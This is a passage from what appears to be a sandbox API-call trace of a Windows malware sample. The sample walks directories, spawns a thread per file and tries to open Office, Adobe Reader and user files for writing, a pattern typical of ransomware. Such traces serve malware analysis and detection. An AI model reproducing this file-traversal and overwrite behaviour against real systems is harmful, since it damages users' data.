ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.291] wcscmp (_String1="..", _String2=".") returned 1 [0150.291] wcscmp (_String1="..", _String2="..") returned 0 [0150.291] FindNextFileW (in: hFindFile=0x93b4b8, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0150.291] wcscmp (_String1="#SharedObjects", _String2=".") returned -1 [0150.291] wcscmp (_String1="#SharedObjects", _String2="..") returned -1 [0150.292] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4718 [0150.292] wcscpy (in: _Dest=0x8f4718, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0150.292] wcscat (in: _Dest=0x8f4718, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0150.292] wcscat (in: _Dest=0x8f4718, _Source="#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0151.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x187c [0151.740] FindNextFileW (in: hFindFile=0x93b4b8, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0151.740] wcscmp (_String1="macromedia.com", _String2=".") returned 1 [0151.740] wcscmp (_String1="macromedia.com", _String2="..") returned 1 [0151.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4b68 [0151.740] wcscpy (in: _Dest=0x8f4b68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0151.740] wcscat (in: _Dest=0x8f4b68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0151.740] wcscat (in: _Dest=0x8f4b68, _Source="macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0151.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4 [0151.741] FindNextFileW (in: hFindFile=0x93b4b8, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0151.741] FindClose (in: hFindFile=0x93b4b8 | out: hFindFile=0x93b4b8) returned 1 [0151.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966b78) returned 1 [0151.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941bc0) returned 1 [0151.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab980) returned 1 Thread: id = 2978 os_tid = 0x1b24 [0150.295] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat")) returned 0x20 [0150.295] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT", dwFileAttributes=0x20) returned 0 [0150.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.296] GetLastError () returned 0x5 [0150.296] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT", dwFileAttributes=0x20) returned 0 [0150.296] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e81c8) returned 1 Thread: id = 3029 os_tid = 0x1bf0 [0150.318] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll")) returned 0x2020 [0152.606] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0152.606] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.606] GetLastError () returned 0x5 [0152.606] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0152.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940498) returned 1 Thread: id = 3031 os_tid = 0x1bf8 [0150.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf")) returned 0x20 [0150.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF", dwFileAttributes=0x20) returned 0 [0150.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.539] GetLastError () returned 0x5 [0150.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF", dwFileAttributes=0x20) returned 0 [0150.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac7c0) returned 1 Thread: id = 3032 os_tid = 0x1bfc [0150.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf")) returned 0x20 [0150.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF", dwFileAttributes=0x20) returned 0 [0150.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.540] GetLastError () returned 0x5 [0150.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF", dwFileAttributes=0x20) returned 0 [0150.540] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940d80) returned 1 Thread: id = 3033 os_tid = 0x40c [0150.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf")) returned 0x20 [0150.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF", dwFileAttributes=0x20) returned 0 [0150.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.541] GetLastError () returned 0x5 [0150.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF", dwFileAttributes=0x20) returned 0 [0150.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940368) returned 1 Thread: id = 3034 os_tid = 0x12fc [0150.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf")) returned 0x20 [0151.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF", dwFileAttributes=0x20) returned 0 [0151.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.854] GetLastError () returned 0x5 [0151.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF", dwFileAttributes=0x20) returned 0 [0151.854] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9402d0) returned 1 Thread: id = 3035 os_tid = 0x370 [0150.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf")) returned 0x20 [0151.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF", dwFileAttributes=0x20) returned 0 [0151.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.855] GetLastError () returned 0x5 [0151.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF", dwFileAttributes=0x20) returned 0 [0151.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940238) returned 1 Thread: id = 3036 os_tid = 0x1298 [0150.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf")) returned 0x20 [0151.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF", dwFileAttributes=0x20) returned 0 [0151.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.857] GetLastError () returned 0x5 [0151.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF", dwFileAttributes=0x20) returned 0 [0151.857] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9401a0) returned 1 Thread: id = 3037 os_tid = 0x408 [0150.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf")) returned 0x20 [0151.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF", dwFileAttributes=0x20) returned 0 [0151.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.858] GetLastError () returned 0x5 [0151.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF", dwFileAttributes=0x20) returned 0 [0151.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940108) returned 1 Thread: id = 3038 os_tid = 0x30c [0150.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf")) returned 0x20 [0151.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF", dwFileAttributes=0x20) returned 0 [0151.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.859] GetLastError () returned 0x5 [0151.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF", dwFileAttributes=0x20) returned 0 [0151.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940070) returned 1 Thread: id = 3090 os_tid = 0x1ccc [0150.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0152.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML", dwFileAttributes=0x20) returned 0 [0152.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.081] GetLastError () returned 0x5 [0152.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML", dwFileAttributes=0x20) returned 0 [0152.082] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c88f0) returned 1 Thread: id = 3183 os_tid = 0x1e40 [0150.896] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif")) returned 0x20 [0152.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif", dwFileAttributes=0x20) returned 0 [0152.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.431] GetLastError () returned 0x5 [0152.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif", dwFileAttributes=0x20) returned 0 [0152.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c764f0) returned 1 Thread: id = 3184 os_tid = 0x1e44 [0150.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif")) returned 0x20 [0152.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif", dwFileAttributes=0x20) returned 0 [0152.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.434] GetLastError () returned 0x5 [0152.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif", dwFileAttributes=0x20) returned 0 [0152.434] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ade88) returned 1 Thread: id = 3186 os_tid = 0x1e4c [0150.899] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif")) returned 0x20 [0152.437] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif", dwFileAttributes=0x20) returned 0 [0152.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.438] GetLastError () returned 0x5 [0152.438] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif", dwFileAttributes=0x20) returned 0 [0152.438] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adca8) returned 1 Thread: id = 3193 os_tid = 0x1e70 [0151.894] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97af18 [0151.894] wcscpy (in: _Dest=0x97af18, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0151.894] wcscat (in: _Dest=0x97af18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0151.894] wcscat (in: _Dest=0x97af18, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0151.894] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913098 [0151.894] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942470 [0151.895] wcscmp (_String1=".", _String2=".") returned 0 [0151.895] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.895] wcscmp (_String1="..", _String2=".") returned 1 [0151.895] wcscmp (_String1="..", _String2="..") returned 0 [0151.895] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0151.895] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0151.895] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0151.895] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938cb8 [0151.895] wcscpy (in: _Dest=0x938cb8, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0151.895] wcscat (in: _Dest=0x938cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0151.895] wcscat (in: _Dest=0x938cb8, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0152.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x938cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94 [0152.810] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x913098 | out: lpFindFileData=0x913098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0152.810] FindClose (in: hFindFile=0x942470 | out: hFindFile=0x942470) returned 1 [0152.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913098) returned 1 [0152.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97af18) returned 1 [0152.810] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934288) returned 1 Thread: id = 3194 os_tid = 0x1e74 [0151.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97b128 [0151.896] wcscpy (in: _Dest=0x97b128, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0151.896] wcscat (in: _Dest=0x97b128, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0151.896] wcscat (in: _Dest=0x97b128, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*") returned="C:\\Program Files (x86)\\Reference 